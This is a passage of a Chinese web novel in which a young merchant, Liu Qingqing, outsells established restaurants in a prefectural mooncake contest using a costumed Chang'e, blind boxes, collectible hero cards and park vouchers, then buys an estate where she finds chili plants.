各自洗了尘换了衣裳后聚在花厅,张和又换了一身翠色织金锦长衫,戴着清透的玉簪,远远看着,犹如一个金镶玉玉如意立在那里。 嗯,张和喜欢漂亮夺目的物件。 等大家喝了茶吃了点心,张和坐直了身子,慢丝调理道:“府城的月饼大赛分海选赛,复赛和决赛。” 按照正常的流程,各家食铺酒楼先参加海选赛,由府衙从百姓中随机抽取一百人作评委,对参赛的月饼,从色香味多个角度进行评价。只要过半人投了花签,那么就可以入复赛。 复赛是在府城广场上,过了海选的店铺有一个展位,为期七天的展示期,百姓自由选购,由府衙统一开单,销售额最高的前三十家月饼,可以入决赛。 决赛便是这三十家, 各区县有一个名额,十个区县,合计四十个名额,一起争夺冠军:最美月饼奖。 决赛和复赛差不多,由府衙统一搭建一模一样的展厅,每家一间,共四十间,销售额最高的,可以得最美味月饼奖。 得了最美月饼奖的酒楼食铺,负责搭建中秋晚会的戏台,举办中秋节后的鹿鸣宴,所以,最美月饼奖,其实还叫鹿鸣奖。 温一鸣岁数还小,疑惑不解:“照这么说,得了冠军的,应该有奖励才对,反而要出力出钱搭台子,办宴席?” 张和眼里流露出向往:“搭台子和举办鹿鸣宴,官府有拨银子的。搭台子能趁机把自家酒楼的招牌弄到幕布上,参加鹿鸣宴的,是今科榜上有名的举子,和主考,府城里的大拿。那是官府对一家酒楼食铺的最高认可。” 懂了,就是说得了冠军,能得到一次中秋晚会的申办权,还能得到官府的五星认证。 刘青青嗯了一声:“展位和展厅有什么不同?” 张和赞许的看了她一眼:“展位只有半丈长宽,而展厅有二丈长宽!” 刘青青立马get到他的点:“展位只能简单的推销月饼,全靠伙计的三寸不烂之舌,最多让客人亲口品尝一下。 展厅除了给客人品尝,是不是还可以弄些乱七八糟的活动,比如配个嫦娥在旁边跳舞之类的?” 不愧是聪明人,望叶知秋,张和眼里闪过惊愕,而后咧嘴笑道:“是这个道理!不过往年展厅里一般是弄个诗词大会,字谜大会之类的。” “嫦娥这个主意,还没有人弄过!今年或可一试。” 刘青青肚中空有无数的主意,只是,在府城,还差一个酒楼,现买一个? 她说了这个想法,张和嗤笑:“府城里地段好环境优美的酒楼,哪个不是日进斗金,至少要一二万两现银,你们有那么多银子么? 即便不缺银子,有酒楼要出手,全府城的人都盯着,各种达官贵人排资论辈,哪里轮得到你。地段不好的酒楼,只怕不合适举办鹿鸣宴。” “你们只管老实卖月饼,趁机赚一笔银子,至于冠军,不用肖想,按照往年的惯例,都是府城里的三大酒楼轮流坐庄。” 他趁机夸了一波自己:“我的红酥手今年也冲出重围,入了决赛!”他满脸的自豪,就差把快夸夸我写在脑门上。 带着一伙人白吃白住,该捧的场还是要捧一下的,刘青青巴掌拍在桌子上夸张道:“你真是最厉害的小郎君呢!” 郭守云嘴角可见的下沉,刘青青安抚的拍了拍他的手,扭头凑到他耳边,轻声道:“你是最最厉害的小郎君!” 多了一个最,比张和厉害,郭守云的嘴角,不自觉的勾了起来。 张和:“……” 其实你们可以躲着回屋又说。 了解了大概的流程,刘青青和张和商量借用厨房和冰窖。 明日就可以入住展厅,一会她去现场摸摸底,今夜赶工装修起来。玉兔月饼今晚可以先做出来。 其他两款月饼都烤好后包在盒子里,玉兔饼她拉着原料来的。青华楼里做惯月饼的三个厨娘和十个伙计也一起跟来,在前院等着开工呢。 张和诧异:“你坐船昏了头,是借烤炉吧?” 刘青青再次解释:“我们家的月饼要放在冰窖冷藏。” 张和想到曾经的水晶粽子,眼里冒出炙热的光:“是和粽子一样的么?” “差不多罢!” 张和兴趣高涨,看刘青青活像一个移动的摇钱树:“你不是没有铺子么,要不我们合伙?”若有水晶月饼,今年也许可以,稍微肖想一下下冠军。 刘青青挑眉:“怎么个合伙法?说来听听。” 第78章 第78章弄个嫦娥卖月饼 张和成竹在胸:“你手里的货,我给你一万两,如何?”刘青青手里有10万盒月饼,一盒月饼100文,他给的价格算是不错了。 哪知道刘青青不为所动:“算了吧!我们各卖各的。”她此行不仅要卖月饼,还要卖其他货物呢,菌子酱,菊蓟罐头,青华酒等等。 张和:“……” 贪心的小娘子真的不好! 两方第一次合作面谈以失败告终。 府城的广场在府衙大门外,椭圆形的宽阔场地上,全铺满了青石板。此时搭建了四十个一模一样格局的木头房子,全是长宽各六米的正方形,但位置有区别。 正对府衙大门那几间显然是中心最热闹的所在。 常平县分到的展厅位于左边第一家,好处就是外面开阔,不好的地方就是,相比较中间位置来说,这里较为偏僻。 同样在一张相片上,中间是c位的话,他们这里便是角落了,换句话说,是来当陪衬的。 各家展厅遮着幕布,里头传来叮叮当当的敲打声,都在紧张有序的装修。 展厅是府衙临时搭建起来,木柱和木板墙,上面是青瓦,用完后还要拆掉。 因过于简陋,有经验的商家已经提前将木板漆成雪白色,带过来直接拼装上去,档次一下子便提升起来。 张和的展厅是第六家,也在做相似的装修。 郭守云咬牙切齿:“阿青,我们现在怎么办?” 只有一夜的时间,现在去弄木板漆,明日只怕油漆干不掉。 刘青青无所谓的笑笑:“我们是卖月饼,又不是卖墙!” 张和看到他们只是把展厅打扫了一遍,皱眉道:“你们这样不行,太粗糙,客人会嫌弃的!” 复赛卖的月饼走量的话,决赛卖月饼走的是精品路线,针对的客人是有那么一点小钱。 他有些痛心疾首:“现在后悔还来得及,把月饼展厅给我,我来装修。” 刘青青摇摇头,领着郭守云施施然走掉了。 广场上,三十九家展厅灯火通明,熬夜赶工装修,边上那一家竟然黑灯瞎火的,没个动静。 来视察的各家掌柜,抱着手聚在一起闲聊,其中又以一个身形稍胖的中年男子为中心。 “啧,边上那家常平县的,往年都是倒数一,今年干脆不来了!” “来了的,是晓得自家又是倒数第一,干脆破罐子破摔,扫扫灰便摆摊!” “真当府城是他们乡下呢,摆个摊就能卖月饼!” “下面那些乡巴佬每年都倒数,还给他们一个展厅,白瞎了知府大人拉拔下面区县的心。” “周掌柜,你们遇仙楼今年准备了多少月饼?” 被捧着的周掌柜矜持的笑了一下,犹自不满:“嗨,你们知道,我们楼里平时客人多,抽不出更多的人手烤月饼,才五十万盒。” 众人:“……” 我们也想要这样的烦恼。 其他人纷纷咋舌,露出艳羡的目光,遇仙楼是去年的桂冠,得到府城上下的认可,卖这些月饼毫无压力,不像他们,只敢准备二十万盒,还不一定卖得完,剩下的估计得折价处理。 眼角扫过边上那家展厅,大家又笑了,常平县每年倒数第一,折价的是最多的,常平县都不急,他们有什么好忧虑的。 大家伙聚在一起扯了一会,你来我往刺探了一番对方的虚实,各回各家。 次日正午,广场大门大开,客人蜂拥而至,按照往年的习惯,奔向最中间那家,遇仙楼里的伙计像名品店的柜姐一样,已经摆好热情又带点清高的微笑,准备开单,只是那些顾客,为何疑惑的左右张望了一番,转个弯往最边上去了? 不仅是遇仙楼的伙计,摘星楼,福满楼,其他楼的伙计,都有相似的疑惑。 同时,他们鼻端萦绕着一股时有时无的桂花香气。 各家掌柜已经发现了其中的不同寻常,顺着香味寻摸,竟然来到最边上,常平县的展厅前。 这里人满为患,要垫着脚尖才能看到里边的样子。昨夜还是简陋的展厅,只一早上,完成了华丽的转身。 三面的木板墙壁,已经被一副广袤的山水图遮盖,淡青远山、金黄稻田,潺潺溪流,炊烟袅袅的茅草屋,跳跃追蝶的黄狗,有序的布局在三面的墙壁上,好一副田园悠闲图。 当然,依他们的眼光来看,这图不够细腻,不是名家所作,但有什么关系,这只是背景。 角落里,一颗桂花树从地底下冒出来,碧绿的枝叶肆意伸展,几乎覆盖了房梁。 上面朵朵金黄的桂花盛开,一股股幽香直往鼻孔里钻。 这些都还是小场面,桂花树横着的枝丫上横着一个球形的灯笼,里头亮堂堂的,恍如一轮明月站在树梢。 下面坐着一个白衣女子,覆着面纱,但露出来的眼睛氤氲着雾气,抱着兔子在秋千上晃悠一下,衣带飘飘,美得不食人间烟火,仿若九天嫦娥走下凡间。 用那清冷的眸子,不时睥睨一眼挤在柜前的众多顾客。 周掌柜被看了一眼,感觉身子酥了一大半。 众多掌柜呆愣了半响,回神后大骂直娘贼! 常平县竟然把嫦娥弄来卖月饼。 对比大家伙准备的对对子,猜灯谜,月下美人,确实更具风情,别样不说,吸睛第 一名。 众多掌柜对视一眼,折身便走,准备也弄一个嫦娥来吸引客人! 周掌柜没走,光吸引顾客来没用,得让客人心甘情愿掏腰包。 他挤进人群,发现柜台上方有三个树立放置的月饼,每个圆月大小,一个砖红色,一个白色,一个竟然是透明的,能看见里头淡黄的圆月,雪白的兔子和嫩绿的莲花,在冒着寒气的冰盘里,精致美丽,恍如水晶。 我了个去,这真的是月饼么,这是琉璃吧? 周掌柜安慰自己,肯定不好吃。 不过让他失望了。 有伙计覆着面纱捧着盘子,里头是切成小块的三种月饼,每一块上都插着牙签,眉眼弯弯端着,请每一位客人品尝,吃完后还贴心的收走牙签。 为什么伙计也要带面纱。 因为怕口水喷在试吃的月饼上哪! 周掌柜每种口味尝了一块,这味道说实在的,竟比他们家的还要好吃上那么一丢丢。周掌柜脸色沉重,烦躁的喊伙计:“每样来一盒!” 哪知道伙计笑盈盈道:“实在对不住大哥,我们也分不清每个盒子里的月饼是哪种口味,需要你自己挑,一盒只要88文,里头是三种口味的一种,而且还有其他惊喜哦!” 五十多的周掌柜,被十七八的伙计喊大哥,瞬间脾气好了许多。 其他惊喜? 伙计热情彭拜道:“都是我们青华楼里的美味,运气好能选到青华纯酿!” 青华纯酿单买一瓶要二两银子呢,现在只要88文,就有可能买月饼送纯酿!天大的馅饼呐,哥,赶紧开单选购,过会被别人抢走了! 什么乱七八糟的。 周掌柜不缺钱,看着柜台上的号码,随意报了十个,伙计开单后报了银子,自有跑腿的从周掌柜手里接过银子,一溜烟去衙门总柜台那里算钱,伙计依旧热情问他,要现场开盒,还是回家,若回家,伙计可以帮忙送货。 都是尊贵的客人,青华楼是不会让客人累到的。 周掌柜瑶瑶头,让跟来的小厮,抱着盒子走了,三步并两步回到自己的马车上,他倒要看看,盒子里都有些啥? 十个一模一样的木头薄盒,上面印着美人观月,从外观看不出什么差别。 剪刀剪开绑着的彩线,揭开盒子,上层是一把木质的薄刀,手柄上还刻着青华楼字样,几把精致的木叉子。 下层油纸包着一个圆圆的月饼,是松子洗沙荞饼。旁边一瓶竹罐子,打开一看,竟然是金黄的油菌子,尝一口,香浓脆滑,风味独特。 他立马想到,这个菌子酱放在面条里,一定是另外一个味道。 嗯,之前听说常平县出了一家吃菌子的酒楼,原来就着这家! 菌子酱都如此美味,不晓得鲜活的菌子,是什么样的味道! 打开第二盒,还是荞面饼,他迫不及待的拆开竹罐子,竟然是,几朵花? 他寻了一个磁盘倒出来,六朵嫩绿色的莲花在淡黄色的汤汁中摇摆,舒展花瓣,他戚着眉头,夹起一朵咬了一口,入口淡淡的苦涩,接下来便是无尽的回甘! 灌了一口茶以后,嗓子眼里还能感受到那种淡淡的甘甜。 他心中升起了期待,不晓得下一盒子里是些什么? 他一盒接一盒的拆开,直到伸手去拿,才发现已经全部拆完了,他竟然有意犹未尽之感。 面前的茶几上,除了月饼,还摆满了其他东西:菌子酱两瓶,干菌子两份,菊蓟罐头,漂亮的瓷杯,仿若真兔子的小毛兔子,美人团扇,花瓣一样的瓷果盘,全是精致漂亮实用的小玩意。 还收集了十张小纸条,每一张纸上有个字,暂时猜不出是干什么的。 周掌柜揉了把脸,扭头吩咐小厮再去买十盒,不,二十盒! 等小厮走后,他才悚然惊醒,他是为了品尝月饼,知己知彼打败对手,为什么买这么多? 第79章 第79章ip的力量 月饼决赛第三日晚间,知府衙门的值房里,卢知府喝着茶水慢悠悠晃过来:“今年遇仙楼,福满楼,摘星楼,哪一家能博得头筹?” 外面赌坊里开了盘口赌冠军,各家赔率各不相同。 他做人有底线,不会像其他贪官那样搂钱,但他也要养家,后宅一大家子吃喝拉撒都指着他,知道内部信息,拿自己家的银子悄摸摸赚一笔,不算违规。 师爷将四十家开单数据摆放在他面前,还贴心的做了一个条形图。 卢知府看到上面的三家,咦,三家酒楼差不多,这就难办了。 他抬起头正要询问师爷,余光好似看见了什么,移开的目光又立马盯到账本上,精准的落到最下面一家,其他家的销售额是一条毛毛虫的话,这一家的销售额便是一条蛇,长长的趴在那里,一骑绝尘,几乎是去年冠军遇仙楼的两倍。 竟然这么高?莫不是算错了? 难不成今年常平县砸钱请托? 对上他的疑惑,师爷魏三奇摇摇头,“这是他们家这三日的销售额,没有请托!” “这便奇怪了,难道他们家的月饼做了能翻出花来?” 可不就是翻出花来了! 他从抽屉里捧出三盒月饼:“诺,师兄,你先吃吃看再说!” 卢知府打开盒子,被惊艳了一下,尝了几口后不解:“嗯,比其他家的上了心,但也不至于如此吧!” 月饼吃了这么多年,就是那几个味道,青华楼的月饼确实新颖味美,但也不应当夸张到,将去年的冠军压在地上摩擦。 魏三奇肉疼的摸了摸自己憋了的荷包,又捧出一个盒子,里头全是些小纸条,每一张纸条正面有一个字,背面是青华楼的嫦娥奔月图。 卢雪樵随意捡起魏三奇拼好的一句话:“阖家欢乐!” “白头偕老” “月有阴晴圆,人有悲欢离合” “啊,你这不对啊,这里少了一个字!” 魏三奇眼里一抹无奈,有些磨牙:“可不是么,这里倒底是个什么字?” 他这心像有五百只猫在跳,被挠得痒痒的,为此,不停的买买买,拆拆拆,每次拆开一盒,收获了月饼,石榴,核桃,菌子干,黑墨,砚台,金鲤鱼,五花八门,没有拆不出来的,只有他想不到的。 每次拆盒子都是一种期待,一种小惊喜。 每次还能得一个字,再按照背面的图拼上去,已经集齐阖家团圆,心想事成,花开富贵,花好月圆,比翼双飞,金榜题名,寿比南山。 只是月有阴晴圆什么,他到现在还没拼出来。 他也自己填过词,试了好多字,总觉得差了点意思。 据伙计说,最后一日凭纸条对奖,四字成语能得一份祝福小礼品,对仗诗句得一份小惊喜,若能把一首词给凑出来,得一份大惊喜,保证街上买不到,大家没吃过。 卢雪樵眼底精光一闪,其他家是卖月饼,青华楼是卖心机,难怪销售额一骑绝尘。 他嗯了一声:“销售额的事不要透漏出去,我们去押注常 平县。” 魏三奇惊到:“师兄,是不是太早了?时限才过去一半呢!” 他又翻出每一日的销售额统计表,夸夸其谈:“青华楼只是占了新奇的点子,第一日大获全胜,其他家有样学样,也开始寻来美人扮嫦娥,弄盲盒,因青华楼占了先机,仍旧远超其他家。 但府城三十家,特别是三大酒楼,在府城根深叶茂,经营多年,不是青华楼这样的外来户可以比肩的! 诺,第二日,第三日的差距,已经慢慢变小。” 卢雪樵看了他满盒子的纸条,眼角讥诮:“是么?那你告诉我,你买了几盒青华楼的月饼?买了几盒遇仙楼的?” 魏三奇老脸一红,扒拉着手指头,半天支支吾吾不吭声。 不算不知道,他几乎买了将近一百盒,而遇仙楼的月饼,他一盒也没买。 他还是觉得遇仙楼赢面大:“而且听说,青华楼总共只有十万盒月饼,拆开卖,有三十万盒,遇仙楼准备了五十万盒月饼,青华楼可能先卖完,后面没货,也是白搭。” 青华楼一盒月饼88文,里头有个大的,还有其他玩意。 遇仙楼和去年差不多,一盒里有两个大月饼,卖价100文,假若两家都能全部卖完的话,遇仙楼的营业额是5万两银子,青华楼才能得2.6万两左右。 卢雪樵嗯了一声,这倒是个问题,青华楼规模还是太小。 不过他们能想到的问题,刘青青早就发现了。 跟随上来的众多掌柜哭诉卖不掉货物,她简单看了一下,各家掌柜带上来的,都是精品,像纸皮核桃,红里透白的石榴,精致漂亮的瓷器等,她干脆全部吃下,把十万盒月饼,拆开成三十万盒子,将这些货物,加上自己的菌子,纯酿,菊蓟混在一起,做成盲盒销售。 效果是相当的理想。 几个掌柜把货卖给她,没事干打算提前回家过节,才发现,码头没有人愿意把船租借给他们,连忙报告刘青青。 不仅如此,郭守云去采购木炭,卖木炭的店家也不愿意继续卖给他们。 问就是卖完了,被郭守云闯到库房,对着一屋子的黑炭,掌柜的最后才支支吾吾道是得了上头的吩咐,实在没有办法。 帮忙打听的张和回来,先灌了一大杯茶水,神色复杂:“三大酒楼发话,哪家供货商再给青华楼供货做月饼,以后便不要他们家的东西!” 他心里很不是滋味,有点同病相怜,又有点幸灾乐祸,还有点羡慕嫉妒。 红酥手开业时,因为做的点心味美价廉,被府城的这些商家一起抵制过一次,当时他没办法,只好低头调价,找上京的阿爷求助,阿爷教训了他一顿,从中周旋一番,他日子才好过了些。 因为刘青青不愿意与他合伙,他心里还有一股子气,看着刘青青陷入困境,他暗道活该,也有些担忧。 刘青青比他还小一岁,竟然能让三大楼酒楼联合抵制,间接证明了她的能耐和潜力,让他既羡慕又钦佩。 他很期待,她怎么样度过这个难关。 刘青青没搭理他变幻莫测的脸,笑盈盈道:“你要合伙么?” “其实我们带来的货物卖得差不多了,只剩点尾巴,我原本打算卖完了,收工回家过节,只是这些人,太下作!” “大家凭本事卖月饼,因为青华楼是下面区县的,便这样欺负人,太过分了!” “号称三大酒楼,却没有一点领头大哥的气质!” “我打算再卖一点,拼一拼今年的冠军!” “你手里还有二十万盒月饼吧?都给我怎么样?” 小姑娘温吞吞的,用最普通的语气,说着最嚣张的话。 张和怀疑自己幻听了:“你确定么?” 他不甘不愿的承认:“我家的月饼,没你家的新奇、好吃!” 刘青青笑道,没关系,我们卖的不是月饼,而是文化! 张和总共准备了25万盒月饼,红酥手是做点心起家的,做的月饼比起青华楼不如,与其他家比较,味道大差不离。 去年卖掉了24万盒,今年展期已经过去了一半,才卖掉5万盒,他有点看不清。 合格的商人,要懂得取舍,他立马拍板,剩下的月饼,全部按成本价上浮一成给刘青青,作为添头,红酥手里的一切原材料,随刘青青取用。 而且,他也想看看,刘青青还有什么招数? 刘青青拿到月饼后,所有人加班加点,用青华的盒子包装月饼,顺便在盒子里塞了,刘青青做的彩色小卡片。 第一日青华楼弄来了嫦娥卖月饼,第二日第三日,大家有样学样,都弄了个嫦娥或站或坐,杵在展厅里。 第四日,大家展厅里还是嫦娥,突然发现,青华楼换成了吴刚。 魁梧的汉子口才伶俐,扛着斧头,重重往桂花树上一砍,吓得众人鸦雀无声。 他敞着胸口,便激情彭拜声情并茂开始了表演,讲起了边关一百零八好汉的故事。 啧,什么,有个叫林冲的好汉,来去无踪,会一门名叫凌波微步的步伐,千里单骑,深入金人草原,挑了金人的将帐,斩杀敌人将帅。 还有个叫鲁智深的壮士,一人拔了腰粗的杨柳树,一拳把金人的战马打趴下。 虽然大家不说,但大家心知肚明,和金国的较量中,赵国处于下风,每几年,赵国都要和亲一位公主,陪嫁大笔的金珠丝绸,换取两国的安宁。 一日之间,边关一百零八好汉的故事,击中了人们最隐秘的爱国心,以秋风卷落叶的速度,蔓延到全府城。 青华楼的月饼盒里,还有一百零八好汉的肖像卡片,还有敌国将领卡片,卡片可以对战。 集齐所有卡片,便可获得青华楼神秘大奖一份。 三大酒楼的掌柜坐在一起,摘星楼的吴掌柜垂头丧气的叹道:“这青华楼主意层出不穷、有备而来,我们换嫦娥,临时加盲盒,已经大大的增加了成本,疲于奔命,我们现在去哪,找一百零九个好汉的故事来胜过对方啊!” 不行了不行了,那故事他悄摸摸去听了一耳朵,听得热血沸腾,着实爽快。 他极其喜欢里头公主的侍卫武二郎,和公主相爱相杀,却爱而不得,几乎将他一颗老菜梆子心虐得死过去活过来。 是的,刘青青把水浒里的一百零八个好汉,改成了边疆抗金一百零八好汉,武二郎是和亲公主的侍卫,默默守护在公主身边。 南平府偏安一隅,北方的战事时不时传回,每一次战败,百姓们都要为和亲公主凑嫁妆,表面是嫁妆,其实是战败国赔的钱。 百姓对金人恨之入股,刘青青借助玩卡牌,将金人按在地上摩擦,让百姓们出了一口郁气。 遇仙楼为三楼之首,周掌柜深谙其中的门道,现在大家痴迷一百零八好汉,集齐卡牌玩金国杀,他们算是输了个彻底。 沉吟了半响,叹息道:“要不提前折价?”把客人吸引过来。 第80章 第80章价格之争 第六日,张和面色沉重,急匆匆奔进花厅:“刘青青,不好了!” “三大酒楼开始降价促销,原来一百文的月饼,打八五折,只要85文就能买到一盒!” 他一脸的忧愁:“我们是不是降价到84文?” 其实,他手里的月饼已经全部给了刘青青,准确来说,这事与他一点关系也没有。 青华楼的月饼,被三大酒楼制裁,同样的憋屈让他感受同身,不自觉的把刘青青当做自己人。 刘青青淡淡的回了一句:“不,我们原价售卖!” 她接过郭守云晾凉的八宝粥,惬意的含了一口,热热的,又不烫嘴,刚好合适。 张和家的厨子还不错,八宝粥熬得香糯甜蜜,入口即化,大枣香甜,花生绵软,点缀在里头,锦上添花,她让厨师将菊蓟切碎加了一点在里头,多了一股回甘,美味极了。 还有鲜肉小笼包,又鲜又 烫,蘸一点醋,香得能把舌头吞掉。 吃完了半小碗,又啃完两只郭守云夹的小笼包,她发现张和还杵在一边,瞪着她不吭声,刘青青笑笑:“阿云,给他一碗!” 张和急得拍桌子:“吃吃吃,就知道吃! 三大酒楼降价,其他家必然跟着降价,我们要不跟着,月饼卖不完怎么办?” 小姑娘嫌弃的撇撇嘴:“降价会给人一种产品掉价的心理暗示,所以我们不降价!”末世的时候,商城里的装备从来不降价,最多买一送一。 买一件护甲,送一双护腕。买一双多功能鞋,送一双袜子。 同样的说法,买一送一给人的感觉是,商家回馈客户,但降价给人的感觉是,商品卖不出去,所以折价销售,其中差别大了去。 “放心吧,我们不会卖不完的!” 刘青青老神在在,喝了口茶漱了嘴,示意郭守云慢慢吃,还有心思游玩:“我们去城外,你要一起去么?” 张和气得肝疼,甩袖离开:“等卖不完月饼,你就哭去吧!”若刘青青找他退货,他是绝对不理会的。 他要去展厅那里不错眼的盯着。 到了展厅,他不敢置信的揉揉眼睛,咦,是他看错了么,边上的展厅里仍旧人满为患,三大酒楼的展厅里客人多了些,但也没有多多少。 他疑惑不解的拉住一个怀里堆满青华楼月饼盒子,脚步匆匆的书生:“大哥,你怎么不去遇仙楼,听说那里的月饼打折了呢!” 书生赶着回家拆卡片,被他堵住后很是不满,打量张和穿着不俗,不敢骂人。亮了亮手中的彩色卡纸,耐心解释:“遇仙楼月饼打八五折,青华楼更是大手笔,买一份月饼,送100文代金券,可以到城外的青华园中消费。” 据伙计说,里头吃喝玩乐俱全,能体验真人版的金国杀,像武松一样打老虎。 鹿鸣宴后等那些举人老爷游玩后,才对外开放。 啧啧,举人老爷也去那里玩儿呢,老百姓们不得蜂拥而至,去沾沾举人老爷的喜气啊。而且,真的好想体验一下打老虎的感觉。 不,不用打,摸一下就行。 “城外的青华园?” 张和凌乱了,城外哪来的青华园,他怎么不知道。 刘青青也太大胆了,现在就放大话,青华园举办鹿鸣宴,万一到时候不行呢? 张和揣着满肚子的疑问,回到家找到了马夫,打听到刘青青的行踪,追了去。 刘青青一开始准备在府衙广场附近买一座酒楼,可惜,那里是南平府的中心地带,没有要脱手的酒楼,而且据牙行的掌柜说,即便有要出售的酒楼,那是会下金蛋的母鸡,马上就会被府城的豪门瓜分,刘家现在没有功名在身,只怕护不住。 刘青青一想也是,可是他们以后来府城,连个落脚的地方都没有,难道每次都打秋风么,她着实不甘心。 牙行掌柜眼珠子骨碌一转,笑道:“恰好城东做花匠起家的富户郑家,举家搬迁上京,欲出售城外的庄子,出城门一里路便到,房屋蔬菜瓜果各色鲜花齐全,不如去看看?” 刘青青似笑非笑:“这么好的庄子,怎么就轮到我了呢?” 牙行掌柜也不尴尬,笑道:“那庄子好是好,郑家要价高出市场价三成,所以一直没卖掉。” 这样,刘青青一行人来到庄子上,当刘青青看见庄子东面,被南安江支流穿流而过,形成了一个内陆浅水湖,立马动心掏钱。 这个庄子占地一千亩左右,府城外的良田一亩价10两银,市价在一万两,郑家少了一万三千两不卖。 刘青青掏钱干脆不墨迹,郑家夫人也大方:“庄子里的瓜果花花草草都送给你。”她要长途跋涉,赶着去上京和家人团聚,她那个丈夫,离了她半个月就要生事,只怕她晚去一个月,后院就要多出十多个庶子庶女。 那些花花草草的,带不走太多。 两方愉快迅速的过了户。 刘青青计划在这里开一个游乐园,分成好几块,金国杀:将金国杀纸牌游戏,弄成真人实战赛。 亲子动物园,弄点老虎兔子猴子来养着。 消费券已经请人画了出来,盖了青华楼的印章,每一盒月饼送一张。 也就是说,她送的青华园消费券,一石多鸟,既让买月饼的客人觉得占到了大便宜,又间接为游乐园提前做了一波宣传。 那日粗略的看见大片花田,树林,胡泊便动了心,今日请了工匠过来勘测,把地图画出来,她好做规划。 在工匠勘测地图的时候,她闲着没事,记起郑家夫人提起花花草草,一脸的不舍,领着郭守云往庄子的中心地带探去,当看到那一片,顶着白色小花的绿色植株时,刘青青惊得蹦了起来,笑得合不拢嘴,天上掉下个大馅饼。 这些开花的植株,全是辣椒! 她心心念念的辣椒,竟然出现在了这里,还是一大片,目测最少十亩! 刘青青扑在辣椒苗上,捧着一颗顶着白花的小辣椒笑得,口水不争气的流下来。 一直听说大户人家喜欢把红彤彤的朝天椒作观赏花卉,原来是真的。 她第一次感谢一个男人的寻花问柳,因为他,郑夫人急不可耐离开,这片还没成熟的辣椒地便宜了她。 当张和寻到她,质问她大放厥词的时候,刘青青都能以笑相对:“我没说鹿鸣宴在这里举办哪,我只说举人老爷会来这里游玩,等放榜后,能请到解元最好,请不到,请一个在榜的举人过来游玩一次,我哪里说谎了!” 还能这样? 张和脸色涨红,你你你了半天,什么都没你出来。 刘青青指着一旁的辣椒地,试探张和:“你知道这是啥么?” 张和撇撇嘴:“这不是海椒么,现在就开花,不值钱的。要过上两个月开花,过年的时候结出果子,红彤彤的挂在枝头像灯笼一样才卖得上价。” “诺,这几颗已经接果子了,看着是长的啊,不行不行,这些都是下等货,你这是被坑了哇。” “我家花房里就有一盆,是球形的,恰好过年的时候变红,碧绿的叶子里躲着正红色的灯笼,那才美呢!” 他想了想,大方道:“你喜欢么,要不,送给你?” 刘青青越发笑得嘴巴裂到耳后根:“不用,你自个留着吧!” 欧耶,还没人吃辣椒,那她是不是,又能借机悄摸摸大赚一笔? 张和看见她笑成个傻子,嫌弃的翻了个白眼:“真是土包子,一盆海椒就乐成这样!” 晚间,图纸勘测好,刘青青合理布局,规划了动物亲子园,水果采摘园,金国杀对战园,水上乐园,刺激挑战园,悯农种植园,鲜花园,烧烤园,还有休息区的餐厅和住宿客房。 啧,初步预算,全部置办下来,三万两听个响声啊,去哪里弄钱来,是个大问题。 晚间,统计账本,不出刘青青所料,青华楼今日的月饼,又销售大半,只剩五千多盒躺在仓库里。 对比青华楼里的喜气洋洋,遇仙楼的周掌柜如履寒冰,被少东家喷了一脸的口水:“你是越老越糊涂了,还没结束呢,降什么价?没得丢了遇仙楼的脸面。” “明日把价格调回去!” 周掌柜惊呆了,顾不得擦一擦满脸的口水,这调下的价格,还能再调回去?焦虑的劝阻:“少爷,不可!” 十八岁的薛文豪睥睨着他,不耐烦冷笑:“你是东家,还是我是东家,按我说的做!我薛家不在乎那点银子,在乎的是脸面,你把价格调上去,我自有办法!” 周管家心里好奇少东家有什么招数,又不敢再问,哎了一声退下来。 老了老了,交给他们年轻人吧。 八月十四,最后一日,张和意外发现,三大酒楼又把价格调回去了,正奇怪三大酒楼的骚操作,不晓得做这个决定的人,是不是脑子被门夹了。 却惊奇的发现,遇仙楼的生意竟然变好了,客人络绎不绝,满载而归。 张和猫着身子观察了半天,遇仙楼并没有像刘青青这样送消费券或其他东西, 竟然能吸引大批的客人,这不科学!【你现在阅读的是 】 80-90 第81章 第81章兑奖 最后一日,刘青青也在展厅里,一面兑奖,一面售卖剩下的三千多盒月饼。 展台最中间,放着大堆的奖品。 只要用四个字组成一个成语都能得到一份惊喜小礼物——一个鸡蛋! 韩三奇捧着一盒子的纸条,嫌弃的撇撇嘴:“谁没见吃过鸡蛋啊,有什么好吃的!” 不少挤在外面的客人起哄:“是啊是啊,买了四盒月饼,才得一个鸡蛋,你们青华楼也太小气了!” 面对不满的客人,刘青青一点也不慌,站在高台上,捡起一个鸡蛋,揭开盖子,用搭配的小巧竹勺子舀了一小勺出来,只见勺子里既不是白色的蛋白,也不是凝固的蛋黄,呈现一种乳黄色的固体,在勺子上战巍巍滑溜溜晃动,迎风一吹,一股浓郁的甜香味道钻进大家的鼻尖里。 她笑盈盈解释:“我们家的鸡蛋,不是一般的鸡蛋,穿着鸡蛋的外衣,已经完成了华丽的转身的,现在叫香香鸡蛋,大家先尝一尝味道,如何?” 韩三奇挤在最前面,随意甩出一个阖家欢乐过去,刘青青接过纸条,双手捧了一个鸡蛋给他,高声大喊:“青华楼全体员工,祝您阖家欢乐!” 行吧,能得一声祝福也是好的。 韩三奇接过鸡蛋,鸡蛋正面白白净净,炭笔画了一个笑脸,眼睛几乎占了脸的一半大,嘟着小嘴巴,可爱翻萌,侧后方切了一个整齐的开口,露出里头淡黄色的固体。 他摇晃两下,里头的东西也跟着战巍巍晃动两下,却不会流淌。 他迫不及待舀了一勺子入口,立马眼前一亮,舌尖传来浓郁的奶香味,甜而不腻,奶香滑嫩,比鸡蛋羹细腻百倍,他三两下吃完一个,意犹未尽,将剩余的四个字成语递给刘青青:“全部换了!” 集齐四字成语,护着十名好汉卡,都能兑换一枚香香鸡蛋。 香香鸡蛋,尤其讨小孩子和妇人的欢心,试问,哪个小孩子不喜欢吃蛋挞呢,多少人吃蛋挞,把中间的烤得焦黄的蛋液啃了,只留下皮。 府城里不缺水牛奶,刘青青让张和买来水牛奶,鱼胶,砂糖,熬制出了奶油,用奶油调制出口味浓郁的蛋液,再倒入洗干净的蛋壳中烤制,便成了香香鸡蛋。 客人们挤在展厅前,要求先兑换自己的,将展厅围得水泄不通。 刘青青没办法,在展厅门口摆了十张桌子,放满了准备好的鸡蛋,抽调了十个伙计兑换。大家看到桌子后面码放得整整齐齐有人高的箱子,全部塞满了鸡蛋,在衙役的监督下,才有序的排队。 